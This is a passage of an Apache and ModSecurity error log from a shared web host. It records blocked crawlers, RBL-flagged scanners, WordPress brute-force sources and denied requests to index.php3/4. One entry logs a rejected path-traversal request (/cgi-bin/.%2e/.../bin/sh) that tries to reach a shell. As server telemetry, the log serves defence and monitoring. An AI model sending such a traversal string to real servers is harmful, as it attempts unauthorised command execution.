https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:13:50.005889 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:13:50.117675 2026] [security2:error] [pid 531155:tid 531373] [client 114.119.157.196:46183] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "forum.codeproblem.com"] [uri "/whiteboard/id/9803"] [unique_id "ai3yPimiP80klyS0NnoWOgAAAWI"], referer: http://50-87-31-154.unifiedlayer.com/whiteboard/id/9803 [Sat Jun 13 18:13:50.243183 2026] [security2:error] [pid 531155:tid 531310] [client 114.119.158.50:54933] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "viniteca.pe"] [uri "/tienda/zonas/ica/mimo-tinto-de-ica-750ml/"] [unique_id "ai3yPimiP80klyS0NnoWRQAAASM"], referer: https://viniteca.pe/tienda/zonas/ica/mimo-tinto-de-ica-750ml/ [Sat Jun 13 18:13:50.459791 2026] [security2:error] [pid 531155:tid 531170] [remote 17.22.245.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yPimiP80klyS0NnoWWAABFg4"] [Sat Jun 13 18:13:50.480297 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9wb3dlcg== [Sat Jun 13 18:13:50.480778 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9wb3dlcg== [Sat Jun 13 18:13:50.532011 2026] [security2:error] [pid 531155:tid 531342] [client 114.119.155.58:56903] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "edpmn.org"] [uri "/events/reunion-avec-ministere-education-chretienne/"] [unique_id "ai3yPimiP80klyS0NnoWXAAAAUM"], referer: https://edpmn.org/events/soiree-de-la-jeunesse/ [Sat Jun 13 18:13:50.978403 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL2RldmljZS9pbnB1dC9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:13:50.978735 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL2RldmljZS9pbnB1dC9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:13:51.032200 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.64:64448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:51.032699 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.64:64448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:51.370974 2026] [access_compat:error] [pid 531155:tid 531207] [remote 57.141.14.33:47141] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:51.371432 2026] [access_compat:error] [pid 531155:tid 531207] [remote 57.141.14.33:47141] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:51.497639 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:51.498081 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:51.762578 2026] [security2:error] [pid 531155:tid 531359] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/bug45705_2.phpt"] [unique_id "ai3yPymiP80klyS0NnoWqwAAAVQ"] [Sat Jun 13 18:13:51.775111 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.49:45713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:51.775384 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.49:45713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:51.998214 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.38:57355] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:51.998517 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.38:57355] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:52.000955 2026] [security2:error] [pid 531155:tid 531411] [client 114.119.138.48:63683] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "onemontgomerygreen.org"] [uri "/index.php/calendarevents/category/education/2019-04-07/"] [unique_id "ai3yPymiP80klyS0NnoWvwAAAYg"], referer: https://onemontgomerygreen.org/index.php/calendarevents/category/education/2019-04-06 [Sat Jun 13 18:13:52.044870 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:13:52.045280 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:13:52.222845 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.97:50596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:52.223323 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.97:50596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:52.293723 2026] [security2:error] [pid 531155:tid 531218] [remote 17.246.19.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yQCmiP80klyS0NnoW1gABNz4"] [Sat Jun 13 18:13:52.359487 2026] [security2:error] [pid 531155:tid 531328] [client 114.119.133.190:56203] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "petersotiriadis.com"] [uri "/cliprr.com/viphp/liked/"] [unique_id "ai3yQCmiP80klyS0NnoW3AAAATU"], referer: http://petersotiriadis.com/cliprr.com/viphp/liked/?list=images&sort=date_desc&page=1 [Sat Jun 13 18:13:52.423385 2026] [access_compat:error] [pid 531155:tid 531240] [remote 216.73.216.182:47158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:52.423856 2026] [access_compat:error] [pid 531155:tid 531240] [remote 216.73.216.182:47158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:52.427481 2026] [security2:error] [pid 531155:tid 531300] [client 114.119.135.224:40593] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.odeonsite-stalbans.co.uk"] [uri "/chilleddiver.com/Photo_albums/Scilly_Isles_July_2005/photos/photo_19.html"] [unique_id "ai3yQCmiP80klyS0NnoW4gAAARk"], referer: http://www.odeonsite-stalbans.co.uk/chilleddiver.com/Photo_albums/Scilly_Isles_July_2005/index.html [Sat Jun 13 18:13:52.454781 2026] [security2:error] [pid 531155:tid 531176] [remote 17.22.245.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yQCmiP80klyS0NnoW5QABghQ"] [Sat Jun 13 18:13:52.506222 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.51:20984] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:52.506676 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.51:20984] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:52.551127 2026] [security2:error] [pid 531155:tid 531223] [remote 113.190.40.93:44398] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.40.190.113.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yQCmiP80klyS0NnoW7QABG0M"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:13:52.590333 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:13:52.590606 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:13:52.900628 2026] [core:error] [pid 531155:tid 531312] [client 110.35.80.116:58908] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh) [Sat Jun 13 18:13:53.044050 2026] [security2:error] [pid 531155:tid 531170] [remote 17.246.15.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yQSmiP80klyS0NnoXCQABUQ4"] [Sat Jun 13 18:13:53.071586 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:53.072049 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:53.109073 2026] [security2:error] [pid 531155:tid 531202] [remote 103.127.30.137:55776] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname 